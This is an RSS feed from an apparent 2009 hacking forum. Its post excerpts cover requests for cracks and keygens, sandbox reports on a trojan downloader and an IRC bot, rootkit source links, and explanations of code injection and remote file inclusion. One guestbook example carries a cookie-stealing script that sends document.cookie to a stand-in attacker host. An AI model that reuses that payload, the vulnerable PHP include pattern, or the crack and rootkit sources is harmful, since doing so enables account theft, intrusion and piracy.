http://h4ck3d.forumotion.net/feed/? Latest topics Tue, 01 Sep 2009 00:13:58 GMT 10 http://illiweb.com/fa/prosilver_grey/site_logo.gif http://h4ck3d.forumotion.net/feed/? http://h4ck3d.forumotion.net/program-requests-f5/request-info-t15.htm Admin Request Programs, Serials, Cracks, Keygens, Anything Maybe I Can Come Up With It Maybe Not. You Never Know Unless You Ask Right? Program Requests Fri, 02 Jan 2009 03:48:51 GMT http://h4ck3d.forumotion.net/program-requests-f5/request-info-t15.htm#15 http://h4ck3d.forumotion.net/program-requests-f5/request-info-t15.htm http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/winagentexe-t140.htm JeSTeR * Submission details: o Submission received: 31 August 2009, 18:26:26 o Processing time: 8 min 38 sec o Submitted sample: + File MD5: 0x5EE26F43139A2CDB3A79A835574285A0 + File SHA-1: 0x43933885866F58D3ABC8147CA79CB8F161957542 + Filesize: 76,288 bytes + Alias: # Trojan Horse [Symantec] # Trojan-Downloader.Win32.Agent.chgu [Kaspersky Lab] ... Post Suspicious .exe Links Tue, 01 Sep 2009 00:13:58 GMT http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/winagentexe-t140.htm#140 http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/winagentexe-t140.htm http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/sissibotexe-t132.htm JeSTeR * To mark the presence in the system, the following Mutex object was created: o [sissi v1.1] * The following ports were open in the system: Port Protocol Process 113 TCP sissiBOT.exe (%System%\sissiBOT.exe) 8080 TCP sissiBOT.exe (%System%\sissiBOT.exe) NICK sissi[ri0t]5895 USER voqt 0 0 :sissi[ri0t]5895 USERHOST sissi[ri0t]5895 MODE sissi[ri0t]5895 -x+i JOIN #sissis MODE #sissis +snt NOTICE sissi[ri0t]5895 :.VERSION mIRC v6.14 Khaled Mardam-Bey. PRIVMSG ... Post Suspicious .exe Links Mon, 31 Aug 2009 23:42:10 GMT http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/sissibotexe-t132.htm#132 http://h4ck3d.forumotion.net/post-suspicious-exe-links-f11/sissibotexe-t132.htm http://h4ck3d.forumotion.net/general-discussion-f10/irc-server-irchackersplanetorg-t103.htm Shikamaru [PJIRC]
[mIRC Download Then Type /server irc.hackersplanet.org]]]> General Discussion Wed, 19 Aug 2009 21:42:47 GMT http://h4ck3d.forumotion.net/general-discussion-f10/irc-server-irchackersplanetorg-t103.htm#103 http://h4ck3d.forumotion.net/general-discussion-f10/irc-server-irchackersplanetorg-t103.htm http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-downloads-t22.htm JeSTeR your anti-virus software WILL call them as such
BUT they are just sources unless the remote is in the file

Hxdef rootkit's source code
www.offensivecomputing.net/?q=node/457

CISCO ROOTKIT DIR GET IT BEFOR THEY DO
http://www.ossec.net/rootkits/]]> Rooting 101 Sun, 12 Jul 2009 00:34:21 GMT http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-downloads-t22.htm#22 http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-downloads-t22.htm http://h4ck3d.forumotion.net/rooting-101-f7/anti-rooting-t21.htm JeSTeR RootkitRevealer is an advanced rootkit detection utility. It runs on Windows NT 4 and higher and its output lists Registry and file system API discrepancies that may indicate the presence of a user-mode or kernel-mode rootkit. RootkitRevealer successfully detects many persistent rootkits including AFX, Vanquish and HackerDefender (note: RootkitRevealer is not intended to detect rootkits like Fu that don't attempt to hide their files or registry keys). If you use it to identify the presence of ... Rooting 101 Sun, 12 Jul 2009 00:21:42 GMT http://h4ck3d.forumotion.net/rooting-101-f7/anti-rooting-t21.htm#21 http://h4ck3d.forumotion.net/rooting-101-f7/anti-rooting-t21.htm http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-usage-t19.htm JeSTeR A rootkit is Malware which consists of a program (or combination of several programs) designed to take fundamental control (in Unix terms "root" access, in Windows terms, "Administrator" or "Admin" access) of a computer system, without authorization by the system's owners and legitimate managers. Access to the hardware (e.g., the reset switch) is rarely required as a rootkit is intended to seize control of the operating system running on the hardware. Typically, ... Rooting 101 Thu, 08 Jan 2009 17:36:29 GMT http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-usage-t19.htm#19 http://h4ck3d.forumotion.net/rooting-101-f7/rootkit-usage-t19.htm http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-usages-t18.htm JeSTeR
A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as

Nice site!

However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as

Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document]]> Remote File Injection Thu, 08 Jan 2009 17:22:49 GMT http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-usages-t18.htm#18 http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-usages-t18.htm http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-t17.htm JeSTeR Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a Code Injection attack can be disastrous. For instance, code injection is used by some Computer worms to propagate. Examples of Code Injection SQL Injection SQL injection takes advantage of the syntax of SQL to inject commands that ... Remote File Injection Thu, 08 Jan 2009 17:20:45 GMT http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-t17.htm#17 http://h4ck3d.forumotion.net/remote-file-injection-f6/code-injection-t17.htm http://h4ck3d.forumotion.net/remote-file-injection-f6/remote-file-inclusion-t16.htm JeSTeR Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own (malicious) code in the space provided for PHP programs on a web page. For instance, a piece of vulnerable PHP code would look like this: include($page . '.php'); This line of PHP code, is then used in URLs like the following example: http://www.vulnerable.example.org/index.php?page=archive Because the $page variable is not specifically ... Remote File Injection Thu, 08 Jan 2009 17:18:56 GMT http://h4ck3d.forumotion.net/remote-file-injection-f6/remote-file-inclusion-t16.htm#16 http://h4ck3d.forumotion.net/remote-file-injection-f6/remote-file-inclusion-t16.htm